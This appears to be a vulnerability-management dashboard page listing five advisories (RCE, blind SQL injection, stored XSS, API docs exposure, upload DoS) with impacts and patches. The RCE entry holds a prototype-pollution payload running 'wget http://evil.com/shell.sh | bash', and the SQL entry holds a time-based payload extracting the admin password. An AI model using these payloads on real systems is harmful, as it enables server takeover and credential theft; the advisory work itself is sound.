vulnerabilities
track, assess, and remediate security vulnerabilities
3
3
pending review
0
in backlog
1
last 30 days
Threat Intel Dashboard
1Memory Analyzer
Buffer Overflow PoC
1API Gateway
2Web App Framework
2Remote Code Execution in Web Application Framework
Critical RCE vulnerability in request processing pipeline allows authenticated attackers to execute arbitrary code.
severity
Critical
cvss
CVSS 9.8status
Open
affected
v2.1.0 - v2.4.3
vulnerability analysis
The request parser incorrectly deserializes user-supplied JSON input, allowing attackers to inject malicious objects that execute arbitrary code during object initialization. The vulnerability exists in the auto-binding feature of the request processing pipeline.
technical details
vulnerable endpoint: /api/submit
vulnerable parameter: formData (JSON)
attack vector:
{
"__proto__": {
"exec": {
"cmd": "wget http://evil.com/shell.sh | bash"
}
}
}
root cause: missing prototype pollution check in bindObject()impact assessment
- full server compromise possible
- lateral movement within network
- data exfiltration capability
- persistence through scheduled tasks
- no authentication bypass - requires valid session
mitigation
- disable auto-binding feature immediately
- implement strict JSON schema validation
- add prototype pollution detection
- apply patch v2.4.4 or later
- review all request handlers for similar patterns
available patches
v2.4.4
2025-04-15Security fix for prototype pollution vulnerability
v2.4.5
2025-04-16Additional hardening measures
2 projects affected
SQL Injection in Report Generator
Time-based blind SQL injection allows attackers to extract sensitive database information.
severity
Critical
cvss
CVSS 8.6status
In Progress
affected
v1.8.0 - v1.9.2
vulnerability analysis
The report generation module fails to sanitize the 'sort' parameter before using it in ORDER BY clause. Attackers can inject SQL conditionals to extract data through timing differences.
proof of concept
endpoint: /api/reports/export parameter: sort payload: sort=CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' THEN pg_sleep(5) ELSE 0 END response time > 5s indicates match
exploitation requirements
- authenticated user with report access
- database user must have SELECT privileges
- vulnerable to automated extraction attacks
- no error messages needed (blind injection)
remediation steps
- implement parameterized queries for all SQL
- whitelist allowed sort columns
- add rate limiting to report endpoints
- audit logs for suspicious query patterns
- apply patch v1.9.3 or later
available patches
v1.9.3
2025-04-12Fixed SQL injection in report generator
1 project affected
Cross-Site Scripting (XSS) in User Profile
Stored XSS vulnerability allows attackers to inject malicious scripts that execute when other users view profiles.
severity
High
cvss
CVSS 7.5status
Open
affected
v3.0.0 - v3.2.1
vulnerability analysis
The bio field in user profiles is not properly sanitized when displaying, allowing stored XSS. Scripts execute in the context of the viewing user, potentially stealing session tokens or performing actions on their behalf.
attack vector
field: user profile bio payload:triggers when any user views the attacker's profile
impact
- session hijacking
- unauthorized actions as victim
- credential theft
- privilege escalation
- potential supply chain attacks via admin accounts
remediation
- implement DOMPurify or similar sanitization
- escape all user-generated content on output
- enforce Content Security Policy headers
- apply patch v3.2.2 or later
- review all text input fields for similar issues
available patches
v3.2.2
2025-04-08XSS fix for user profile fields
2 projects affected
Information Disclosure in API Documentation
API documentation exposes internal structure and potentially sensitive endpoint information to unauthorized users.
severity
High
cvss
CVSS 6.5status
Mitigated
affected
v2.5.0 - v2.7.0
vulnerability analysis
The interactive API documentation is publicly accessible without authentication, exposing internal API endpoints, parameter structures, and example responses. This information can be used to construct targeted attacks.
exposed information
- internal API endpoints (including admin endpoints)
- authentication token formats
- rate limiting configuration
- error response structures
- database schema hints from model definitions
risk assessment
- facilitates automated reconnaissance
- reduces attack planning time
- may expose hidden privileged endpoints
- aids in social engineering attacks
remediation actions taken
- API docs now require authentication
- internal endpoints removed from public docs
- added rate limiting to docs endpoint
- implemented IP-based access controls
- apply patch v2.7.1 for full protection
available patches
v2.7.1
2025-04-02Secured API documentation with authentication
1 project affected
Denial of Service in File Upload Handler
Malformed file uploads can cause server crashes due to unhandled exceptions.
severity
Medium
cvss
CVSS 5.3status
Patched
affected
v1.5.0 - v1.6.4
vulnerability analysis
The file upload handler does not properly validate file structures before processing. Specially crafted files can trigger exceptions that crash the worker process, causing temporary service unavailability.
attack vector
upload endpoint: /api/files/upload malformed file types: - corrupted PNG headers - invalid EXIF data structures - truncated multipart boundaries result: worker process crash, 500 errors
impact
- temporary service denial
- potential cascading failures
- requires service restart to recover
- no data corruption or exfiltration
remediation
- added comprehensive file validation
- implemented circuit breaker pattern
- added process monitoring and auto-restart
- apply patch v1.6.5 or later
- all instances updated (2025-03-28)
available patches
v1.6.5
2025-03-25Added file validation and error handling